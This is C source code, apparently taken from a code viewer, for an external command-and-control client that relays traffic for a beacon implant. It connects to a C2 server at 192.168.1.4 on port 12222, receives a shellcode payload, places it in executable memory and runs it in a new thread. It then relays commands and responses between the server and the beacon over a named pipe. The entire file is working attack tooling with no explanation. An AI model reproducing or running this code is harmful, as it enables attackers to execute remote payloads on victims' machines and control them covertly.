1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141
| #include <Windows.h> #pragma comment(lib, "ws2_32.lib")
void spawnBeacon(char* payload, DWORD len) {
HANDLE threadHandle; DWORD threadId = 0; char* alloc = (char*)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId); }
void sendData(SOCKET sd, const char* data, DWORD len) { char* buffer = (char*)malloc(len + 4); if (buffer == NULL) return;
DWORD bytesWritten = 0, totalLen = 0;
*(DWORD*)buffer = len; memcpy(buffer + 4, data, len);
while (totalLen < len + 4) { bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0); totalLen += bytesWritten; } free(buffer); }
char* recvData(SOCKET sd, DWORD* len) { char* buffer; DWORD bytesReceived = 0, totalLen = 0;
*len = 0;
recv(sd, (char*)len, 4, 0); buffer = (char*)malloc(*len); if (buffer == NULL) return NULL;
while (totalLen < *len) { bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0); totalLen += bytesReceived; } return buffer; }
SOCKET createC2Socket(const char* addr, WORD port) { WSADATA wsd; SOCKET sd; SOCKADDR_IN sin; WSAStartup(0x0202, &wsd);
memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.S_un.S_addr = inet_addr(addr);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); connect(sd, (SOCKADDR*)&sin, sizeof(sin));
return sd; }
HANDLE connectBeaconPipe(const char* pipeName) { HANDLE beaconPipe;
beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);
return beaconPipe; }
char* recvFromBeacon(HANDLE pipe, DWORD* len) { char* buffer; DWORD bytesRead = 0, totalLen = 0;
*len = 0;
ReadFile(pipe, len, 4, &bytesRead, NULL); buffer = (char*)malloc(*len);
while (totalLen < *len) { ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL); totalLen += bytesRead; }
return buffer; }
void sendToBeacon(HANDLE pipe, const char* data, DWORD len) { DWORD bytesWritten = 0; WriteFile(pipe, &len, 4, &bytesWritten, NULL); WriteFile(pipe, data, len, &bytesWritten, NULL); }
int main() { DWORD payloadLen = 0; char* payloadData = NULL; HANDLE beaconPipe = INVALID_HANDLE_VALUE;
SOCKET c2socket = createC2Socket("192.168.1.4", 12222); payloadData = recvData(c2socket, &payloadLen);
spawnBeacon(payloadData, payloadLen);
while (beaconPipe == INVALID_HANDLE_VALUE) { Sleep(1000); beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest"); }
while (TRUE) { payloadData = recvFromBeacon(beaconPipe, &payloadLen); if (payloadLen == 0) break;
sendData(c2socket, payloadData, payloadLen); free(payloadData);
payloadData = recvData(c2socket, &payloadLen); if (payloadLen == 0) break;
sendToBeacon(beaconPipe, payloadData, payloadLen); free(payloadData); }
return 0; }
|